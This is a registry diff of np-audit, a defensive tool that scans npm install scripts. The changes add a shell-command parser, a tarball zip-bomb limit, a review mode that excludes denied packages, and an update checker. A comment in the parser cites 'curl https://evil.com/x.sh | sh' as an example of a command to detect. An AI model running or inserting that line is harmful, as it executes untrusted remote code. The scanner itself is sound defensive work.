np-audit 1.3.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,256 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Parse a lifecycle command string into a list of "script references".
5
+ *
6
+ * A script reference is either:
7
+ * { kind: 'file', path: 'install.js', interpreter: 'node' } — analyze this file
8
+ * { kind: 'inline', code: '...', interpreter: 'sh' } — analyze this command string
9
+ *
10
+ * The parser splits on the standard shell separators `&&`, `||`, `;`, and `|`
11
+ * (which all chain or redirect commands during npm install), then classifies
12
+ * each segment. This means commands like:
13
+ *
14
+ * "node pre.js && node post.js"
15
+ * "sh ./install.sh; node cleanup.js"
16
+ * "curl https://evil.com/x.sh | sh"
17
+ *
18
+ * all produce multiple references — earlier versions of np-audit only ever
19
+ * extracted the first `node` invocation and ignored the rest.
20
+ *
21
+ * String literals (quoted) are kept intact so we don't split inside an
22
+ * `-e "a && b"` argument or similar.
23
+ */
24
+ function parseCommand(command) {
25
+ if (!command || typeof command !== 'string') return [];
26
+
27
+ const segments = splitOnShellSeparators(command.trim());
28
+ const refs = [];
29
+
30
+ for (const segment of segments) {
31
+ if (!segment) continue;
32
+ refs.push(...classifySegment(segment));
33
+ }
34
+
35
+ return refs;
36
+ }
37
+
38
+ /**
39
+ * Split on &&, ||, ;, | — respecting single, double, and backtick quotes.
40
+ */
41
+ function splitOnShellSeparators(cmd) {
42
+ const out = [];
43
+ let buf = '';
44
+ let quote = null; // null | "'" | '"' | '`'
45
+
46
+ for (let i = 0; i < cmd.length; i++) {
47
+ const c = cmd[i];
48
+
49
+ if (quote) {
50
+ if (c === '\\' && i + 1 < cmd.length) {
51
+ buf += c + cmd[i + 1];
52
+ i++;
53
+ continue;
54
+ }
55
+ if (c === quote) quote = null;
56
+ buf += c;
57
+ continue;
58
+ }
59
+
60
+ if (c === '"' || c === "'" || c === '`') {
61
+ quote = c;
62
+ buf += c;
63
+ continue;
64
+ }
65
+
66
+ // && and ||
67
+ if ((c === '&' || c === '|') && cmd[i + 1] === c) {
68
+ out.push(buf);
69
+ buf = '';
70
+ i++;
71
+ continue;
72
+ }
73
+
74
+ // single | (pipe) and ; — also segment boundaries for our purposes:
75
+ // a pipe `foo | sh` clearly has two commands; a sequence `a ; b` too.
76
+ if (c === '|' || c === ';') {
77
+ out.push(buf);
78
+ buf = '';
79
+ continue;
80
+ }
81
+
82
+ buf += c;
83
+ }
84
+ out.push(buf);
85
+
86
+ return out.map(s => s.trim()).filter(Boolean);
87
+ }
88
+
89
+ /**
90
+ * Classify a single shell segment into one or more script references.
91
+ */
92
+ function classifySegment(segment) {
93
+ const tokens = tokenize(segment);
94
+ if (tokens.length === 0) return [];
95
+
96
+ const cmd = tokens[0];
97
+
98
+ // Resolve common path-prefix wrappers
99
+ // e.g. "./node_modules/.bin/foo" → "foo"
100
+ const cmdBase = cmd.split('/').pop();
101
+
102
+ // Node interpreters
103
+ if (cmdBase === 'node' || cmdBase === 'nodejs') {
104
+ return classifyNodeInvocation(tokens.slice(1), segment);
105
+ }
106
+
107
+ // Other JS runtimes
108
+ if (cmdBase === 'tsx' || cmdBase === 'ts-node' || cmdBase === 'bun' || cmdBase === 'deno') {
109
+ const fileArg = tokens.slice(1).find(t => !t.startsWith('-'));
110
+ if (fileArg) {
111
+ return [{ kind: 'file', path: stripDotSlash(fileArg), interpreter: cmdBase }];
112
+ }
113
+ return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
114
+ }
115
+
116
+ // Shell-script interpreters
117
+ if (cmdBase === 'sh' || cmdBase === 'bash' || cmdBase === 'zsh' || cmdBase === 'dash') {
118
+ return classifyShellInvocation(tokens.slice(1), segment);
119
+ }
120
+
121
+ // Python and friends
122
+ if (cmdBase === 'python' || cmdBase === 'python2' || cmdBase === 'python3'
123
+ || cmdBase === 'ruby' || cmdBase === 'perl' || cmdBase === 'php') {
124
+ const args = tokens.slice(1);
125
+ for (let i = 0; i < args.length; i++) {
126
+ const a = args[i];
127
+ // -c "code", -e "code" — execute the next argument as code
128
+ if (a === '-c' || a === '-e') {
129
+ return [{ kind: 'inline', code: args[i + 1] || '', interpreter: cmdBase }];
130
+ }
131
+ if (a.startsWith('-')) continue;
132
+ return [{ kind: 'file', path: stripDotSlash(a), interpreter: cmdBase }];
133
+ }
134
+ return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
135
+ }
136
+
137
+ // `.js`/`.mjs`/`.cjs` files invoked directly (shebang)
138
+ if (/\.(?:js|mjs|cjs|sh|bash|py|rb|pl)$/.test(cmdBase)) {
139
+ return [{ kind: 'file', path: stripDotSlash(cmd), interpreter: 'auto' }];
140
+ }
141
+
142
+ // npx — running an arbitrary package. We can't statically know which file
143
+ // it executes, but the command string itself is worth surfacing.
144
+ if (cmdBase === 'npx') {
145
+ return [{ kind: 'inline', code: segment, interpreter: 'shell', npx: true }];
146
+ }
147
+
148
+ // Anything else (curl, wget, cd, env, …): keep as inline so it shows up in
149
+ // the report and is run through the obfuscation checks at least as a string.
150
+ return [{ kind: 'inline', code: segment, interpreter: 'shell' }];
151
+ }
152
+
153
+ /**
154
+ * Handle `node <args...>`. Cases:
155
+ * node script.js → file
156
+ * node -e "..." → inline (the code IS the argument)
157
+ * node -p "..." → inline
158
+ * node --eval "..." → inline
159
+ * node --experimental-foo s.js → file (skip flags, pick first non-flag)
160
+ */
161
+ function classifyNodeInvocation(args, fullSegment) {
162
+ for (let i = 0; i < args.length; i++) {
163
+ const a = args[i];
164
+ if (a === '-e' || a === '--eval' || a === '-p' || a === '--print') {
165
+ const code = args[i + 1] || '';
166
+ return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'node' }];
167
+ }
168
+ if (a.startsWith('-')) continue;
169
+ // First non-flag token is the script file
170
+ return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'node' }];
171
+ }
172
+ // No file, no -e — fall through to inline
173
+ return [{ kind: 'inline', code: fullSegment, interpreter: 'node' }];
174
+ }
175
+
176
+ /**
177
+ * Handle `sh <args...>`. Cases:
178
+ * sh script.sh → file (the .sh file is fetched & scanned)
179
+ * sh -c "..." → inline (the code IS the argument)
180
+ * bash -c "..." → inline
181
+ */
182
+ function classifyShellInvocation(args, fullSegment) {
183
+ for (let i = 0; i < args.length; i++) {
184
+ const a = args[i];
185
+ if (a === '-c') {
186
+ const code = args[i + 1] || '';
187
+ return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'sh' }];
188
+ }
189
+ if (a.startsWith('-')) continue;
190
+ return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'sh' }];
191
+ }
192
+ return [{ kind: 'inline', code: fullSegment, interpreter: 'sh' }];
193
+ }
194
+
195
+ /**
196
+ * Lightweight shell-style tokenizer — respects single, double, backtick quotes
197
+ * and \-escapes. Does NOT do variable expansion (we want the literal command
198
+ * the way npm would hand it to /bin/sh).
199
+ */
200
+ function tokenize(s) {
201
+ const out = [];
202
+ let buf = '';
203
+ let quote = null;
204
+
205
+ for (let i = 0; i < s.length; i++) {
206
+ const c = s[i];
207
+
208
+ if (quote) {
209
+ if (c === '\\' && i + 1 < s.length && quote === '"') {
210
+ buf += s[i + 1];
211
+ i++;
212
+ continue;
213
+ }
214
+ if (c === quote) { quote = null; continue; }
215
+ buf += c;
216
+ continue;
217
+ }
218
+
219
+ if (c === '"' || c === "'" || c === '`') {
220
+ quote = c;
221
+ continue;
222
+ }
223
+
224
+ if (c === '\\' && i + 1 < s.length) {
225
+ buf += s[i + 1];
226
+ i++;
227
+ continue;
228
+ }
229
+
230
+ if (/\s/.test(c)) {
231
+ if (buf) { out.push(buf); buf = ''; }
232
+ continue;
233
+ }
234
+
235
+ buf += c;
236
+ }
237
+
238
+ if (buf) out.push(buf);
239
+ return out;
240
+ }
241
+
242
+ function stripDotSlash(p) {
243
+ return p.replace(/^\.\//, '');
244
+ }
245
+
246
+ function stripQuotes(s) {
247
+ if (s.length >= 2) {
248
+ const f = s[0], l = s[s.length - 1];
249
+ if ((f === '"' || f === "'" || f === '`') && f === l) {
250
+ return s.slice(1, -1);
251
+ }
252
+ }
253
+ return s;
254
+ }
255
+
256
+ module.exports = { parseCommand, splitOnShellSeparators, tokenize };
@@ -14,6 +14,9 @@ const DEFAULT_CONFIG = Object.freeze({
14
14
  parallelFetches: 5,
15
15
  skipScopes: [],
16
16
  skipPackages: [],
17
+ silent: false,
18
+ scanSelf: true,
19
+ maxTarballSize: '50MB', // Max unpacked tarball size (e.g. '5MB', '1GB', or bytes as number)
17
20
  });
18
21
 
19
22
  const VALID_KEYS = new Set(Object.keys(DEFAULT_CONFIG));
@@ -28,21 +31,50 @@ function readJSON(filePath) {
28
31
 
29
32
  function loadConfig(cwd) {
30
33
  const base = { ...DEFAULT_CONFIG };
34
+ // Parse the default maxTarballSize string to bytes
35
+ base.maxTarballSize = parseSize(base.maxTarballSize);
31
36
  const global_ = readJSON(GLOBAL_CONFIG_PATH) || {};
32
37
  const local = cwd ? readJSON(path.join(cwd, '.npmauditor.json')) || {} : {};
33
38
  return Object.assign(base, coerce(global_), coerce(local));
34
39
  }
35
40
 
41
+ /**
42
+ * Parse size strings like '5MB', '1GB', '500KB' to bytes.
43
+ * @param {string|number} value
44
+ * @returns {number} Size in bytes
45
+ */
46
+ function parseSize(value) {
47
+ if (typeof value === 'number') return Math.max(0, value);
48
+ if (typeof value !== 'string') return 0;
49
+
50
+ const match = value.trim().match(/^(\d+(?:\.\d+)?)\s*(B|KB|MB|GB)?$/i);
51
+ if (!match) return 0;
52
+
53
+ const num = parseFloat(match[1]);
54
+ const unit = (match[2] || 'B').toUpperCase();
55
+
56
+ const multipliers = { B: 1, KB: 1024, MB: 1024 ** 2, GB: 1024 ** 3 };
57
+ const bytes = num * (multipliers[unit] || 1);
58
+
59
+ // Cap at available RAM to prevent out-of-memory
60
+ const totalMem = os.totalmem();
61
+ return Math.min(Math.max(0, Math.floor(bytes)), totalMem);
62
+ }
63
+
36
64
  function coerce(obj) {
37
65
  const result = {};
38
66
  for (const [key, val] of Object.entries(obj)) {
39
67
  if (!VALID_KEYS.has(key)) continue;
40
68
  const def = DEFAULT_CONFIG[key];
41
- if (Array.isArray(def)) {
69
+ if (key === 'maxTarballSize') {
70
+ result[key] = parseSize(val);
71
+ } else if (Array.isArray(def)) {
42
72
  result[key] = Array.isArray(val) ? val : [val];
43
73
  } else if (typeof def === 'number') {
44
74
  const n = Number(val);
45
75
  if (!isNaN(n)) result[key] = n;
76
+ } else if (typeof def === 'boolean') {
77
+ result[key] = val === true || val === 'true' || val === '1';
46
78
  } else {
47
79
  result[key] = val;
48
80
  }
@@ -68,4 +100,4 @@ function getGlobalConfigPath() {
68
100
  return GLOBAL_CONFIG_PATH;
69
101
  }
70
102
 
71
- module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS };
103
+ module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS, parseSize };
@@ -49,16 +49,26 @@ function log(msg) {
49
49
  }
50
50
 
51
51
  function verdictBadge(verdict) {
52
- if (NO_COLOR) return `[${verdict}]`;
53
- if (verdict === 'BLOCK') return `${BG_RED}${BOLD} BLOCK ${RESET}`;
52
+ if (NO_COLOR) return verdict === 'BLOCK' ? '[DANGER]' : `[${verdict}]`;
53
+ if (verdict === 'BLOCK') return `${BG_RED}${WHITE}${BOLD} DANGER ${RESET}`;
54
54
  if (verdict === 'WARN') return `${BG_YELLOW}\x1b[30m WARN ${RESET}`;
55
55
  return `${GREEN} OK ${RESET}`;
56
56
  }
57
57
 
58
- function printScanHeader() {
59
- log('');
60
- log(bold(cyan('npa') + ' — npm package auditor'));
61
- log(dim('Static obfuscation detection for install scripts'));
58
+ const ASCII_LOGO = `
59
+
60
+ ███╗ ██╗██████╗ █████╗
61
+ ████╗ ██║██╔══██╗██╔══██╗
62
+ ██╔██╗ ██║██████╔╝███████║
63
+ ██║╚██╗██║██╔═══╝ ██╔══██║
64
+ ██║ ╚████║██║ ██║ ██║
65
+ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝
66
+ `;
67
+
68
+ function printScanHeader(silent = false) {
69
+ if (silent) return;
70
+ log(blue(ASCII_LOGO));
71
+ log(dim(' npm package auditor — static obfuscation detection'));
62
72
  log(dim('─'.repeat(60)));
63
73
  log('');
64
74
  }
@@ -77,10 +87,15 @@ function printSummary(results) {
77
87
  const blocked = results.filter(r => r.verdict === 'BLOCK').length;
78
88
  const warned = results.filter(r => r.verdict === 'WARN').length;
79
89
  const ok = results.filter(r => r.verdict === 'OK').length;
90
+ const skipped = results.skippedCount || 0;
80
91
 
81
92
  log('');
82
93
  log(dim('─'.repeat(60)));
83
- log(` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked`);
94
+ let summary = ` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked`;
95
+ if (skipped > 0) {
96
+ summary += ` ${dim(String(skipped) + ' skipped (no install scripts)')}`;
97
+ }
98
+ log(summary);
84
99
  log('');
85
100
  }
86
101
 
@@ -40,11 +40,21 @@ async function runAware(opts) {
40
40
 
41
41
  let cursor = 0;
42
42
 
43
+ // Use alternate screen buffer on supported terminals (not legacy Windows console)
44
+ const useAltScreen = process.stdout.isTTY && (
45
+ process.platform !== 'win32' ||
46
+ process.env.WT_SESSION || // Windows Terminal
47
+ process.env.ConEmuPID // ConEmu
48
+ );
49
+
50
+ if (useAltScreen) {
51
+ process.stdout.write('\x1b[?1049h');
52
+ }
53
+
43
54
  function render() {
44
- // Move cursor to top of list — use ANSI escape to clear + redraw
45
- process.stdout.write('\x1b[2J\x1b[H'); // clear screen
55
+ process.stdout.write('\x1b[H\x1b[2J');
46
56
  output.log('');
47
- output.log(output.bold(' npa --aware mode'));
57
+ output.log(output.bold(' npa --review mode'));
48
58
  output.log(output.dim(' Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit'));
49
59
  output.log('');
50
60
  output.log(` Found ${items.length} package(s) with install scripts:\n`);
@@ -115,8 +125,10 @@ async function runAware(opts) {
115
125
  process.stdin.on('keypress', onKey);
116
126
  });
117
127
 
118
- // Clear screen after TUI exits
119
- process.stdout.write('\x1b[2J\x1b[H');
128
+ // Exit alternate screen buffer (restores previous screen)
129
+ if (useAltScreen) {
130
+ process.stdout.write('\x1b[?1049l');
131
+ }
120
132
 
121
133
  const allowedItems = items.filter(i => i.allowed);
122
134
  const deniedItems = items.filter(i => !i.allowed);
@@ -124,30 +136,58 @@ async function runAware(opts) {
124
136
  output.log('');
125
137
  output.info(`Proceeding with ${allowedItems.length} allowed / ${deniedItems.length} denied`);
126
138
 
139
+ // Get names of denied packages to exclude from install
140
+ const deniedNames = new Set(deniedItems.map(i => i.result.pkg.name));
141
+
142
+ // Filter npmArgs to exclude denied packages
143
+ let filteredNpmArgs = npmArgs.filter(arg => {
144
+ // Extract package name (handle @scope/pkg and pkg@version formats)
145
+ const name = arg.startsWith('@')
146
+ ? arg.split('/').slice(0, 2).join('/').split('@').slice(0, 2).join('@').replace(/@[^@]*$/, '') || arg.split('@').slice(0, 2).join('@')
147
+ : arg.split('@')[0];
148
+ return !deniedNames.has(name);
149
+ });
150
+
151
+ // If all explicitly requested packages are denied, abort
152
+ if (npmArgs.length > 0 && filteredNpmArgs.length === 0) {
153
+ output.error('All requested packages were denied. Aborting install.');
154
+ return 1;
155
+ }
156
+
127
157
  if (deniedItems.length > 0) {
128
- output.warn('Running npm with --ignore-scripts (will run allowed scripts manually after)');
129
- const code = runNpm(command, [...npmArgs, '--ignore-scripts'], cwd);
130
- if (code !== 0) return code;
131
-
132
- for (const item of allowedItems) {
133
- const exitCode = runPackageScripts(item.result, cwd);
134
- if (exitCode !== 0) {
135
- output.error(`Script for ${item.result.pkg.name} exited with code ${exitCode}`);
158
+ if (filteredNpmArgs.length > 0 || npmArgs.length === 0) {
159
+ output.warn('Running npm with --ignore-scripts (will run allowed scripts manually after)');
160
+ const code = runNpm(command, [...filteredNpmArgs, '--ignore-scripts'], cwd);
161
+ if (code !== 0) return code;
162
+
163
+ for (const item of allowedItems) {
164
+ const exitCode = runPackageScripts(item.result, cwd);
165
+ if (exitCode !== 0) {
166
+ output.error(`Script for ${item.result.pkg.name} exited with code ${exitCode}`);
167
+ }
136
168
  }
169
+ return 0;
170
+ } else {
171
+ output.warn('No packages to install after excluding denied packages.');
172
+ return 0;
137
173
  }
138
- return 0;
139
174
  } else {
140
- return runNpm(command, npmArgs, cwd);
175
+ return runNpm(command, filteredNpmArgs.length > 0 ? filteredNpmArgs : npmArgs, cwd);
141
176
  }
142
177
  }
143
178
 
144
179
  /**
145
180
  * Spawn npm install/ci and return the exit code.
181
+ * Sets NPA_RUNNING=1 to prevent recursive hooks when npm is aliased to npa.
146
182
  */
147
183
  function runNpm(command, args, cwd) {
148
184
  const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
149
185
  const npmArgs = command === 'ci' ? ['ci', ...args] : ['install', ...args];
150
- const result = spawnSync(npmCmd, npmArgs, { stdio: 'inherit', cwd });
186
+ const result = spawnSync(npmCmd, npmArgs, {
187
+ stdio: 'inherit',
188
+ cwd,
189
+ env: { ...process.env, NPA_RUNNING: '1' },
190
+ });
151
191
  return result.status || 0;
152
192
  }
153
193
 
@@ -9,11 +9,13 @@ const BLOCK_SIZE = 512;
9
9
  * Pure Node.js — no external dependencies.
10
10
  * Handles GNU long name (typeflag 'L') and POSIX ustar extended headers (typeflag 'x').
11
11
  * @param {Buffer} gzipBuffer
12
+ * @param {number} [maxSize] Maximum total unpacked size in bytes
12
13
  * @returns {Map<string, Buffer>}
13
14
  */
14
- function parseTarGz(gzipBuffer) {
15
+ function parseTarGz(gzipBuffer, maxSize = null) {
15
16
  const tar = zlib.gunzipSync(gzipBuffer);
16
17
  const files = new Map();
18
+ let totalUnpackedSize = 0;
17
19
 
18
20
  let offset = 0;
19
21
  let pendingLongName = null;
@@ -56,6 +58,10 @@ function parseTarGz(gzipBuffer) {
56
58
  name = name.replace(/\0/g, '');
57
59
 
58
60
  if ((typeFlag === '0' || typeFlag === '\0') && size > 0) {
61
+ totalUnpackedSize += size;
62
+ if (maxSize !== null && maxSize !== undefined && totalUnpackedSize > maxSize) {
63
+ throw new Error(`Tarball unpacked size (${totalUnpackedSize} bytes) exceeds limit (${maxSize} bytes) — potential zip bomb`);
64
+ }
59
65
  files.set(name, tar.slice(offset, offset + size));
60
66
  }
61
67
 
@@ -0,0 +1,72 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const os = require('os');
6
+
7
+ const CACHE_FILE = path.join(os.homedir(), '.npa-update-check');
8
+ const CHECK_INTERVAL = 172800000; // 2 days in ms
9
+
10
+ /**
11
+ * Check for a newer version of np-audit on the registry.
12
+ * Non-blocking — swallows all errors and returns null on failure.
13
+ * @param {object} config Must have `registry` and `timeout` keys.
14
+ * @param {string} currentVersion The currently installed version.
15
+ * @returns {Promise<string|null>} The latest version if newer, or null.
16
+ */
17
+ async function checkForUpdate(config, currentVersion) {
18
+ try {
19
+ const cache = readCache();
20
+ const now = Date.now();
21
+
22
+ if (cache && (now - cache.lastCheck) < CHECK_INTERVAL) {
23
+ return isNewer(cache.latestVersion, currentVersion) ? cache.latestVersion : null;
24
+ }
25
+
26
+ const { fetchJSON } = require('./fetcher');
27
+ const meta = await fetchJSON(`${config.registry}/np-audit`, { timeout: 5000 });
28
+ const latest = meta['dist-tags'] && meta['dist-tags'].latest;
29
+
30
+ if (latest) {
31
+ writeCache({ lastCheck: now, latestVersion: latest });
32
+ return isNewer(latest, currentVersion) ? latest : null;
33
+ }
34
+
35
+ return null;
36
+ } catch {
37
+ return null;
38
+ }
39
+ }
40
+
41
+ /**
42
+ * Compare two semver strings. Returns true if `a` is newer than `b`.
43
+ */
44
+ function isNewer(a, b) {
45
+ const pa = a.split(/[-.]/).map(s => parseInt(s, 10) || 0);
46
+ const pb = b.split(/[-.]/).map(s => parseInt(s, 10) || 0);
47
+ for (let i = 0; i < 3; i++) {
48
+ if ((pa[i] || 0) > (pb[i] || 0)) return true;
49
+ if ((pa[i] || 0) < (pb[i] || 0)) return false;
50
+ }
51
+ // Same x.y.z — pre-release (e.g. "beta") is older than stable
52
+ if (b.includes('-') && !a.includes('-')) return true;
53
+ return false;
54
+ }
55
+
56
+ function readCache() {
57
+ try {
58
+ return JSON.parse(fs.readFileSync(CACHE_FILE, 'utf8'));
59
+ } catch {
60
+ return null;
61
+ }
62
+ }
63
+
64
+ function writeCache(data) {
65
+ try {
66
+ fs.writeFileSync(CACHE_FILE, JSON.stringify(data), 'utf8');
67
+ } catch {
68
+ // Non-critical — ignore write failures
69
+ }
70
+ }
71
+
72
+ module.exports = { checkForUpdate, isNewer, CHECK_INTERVAL, CACHE_FILE };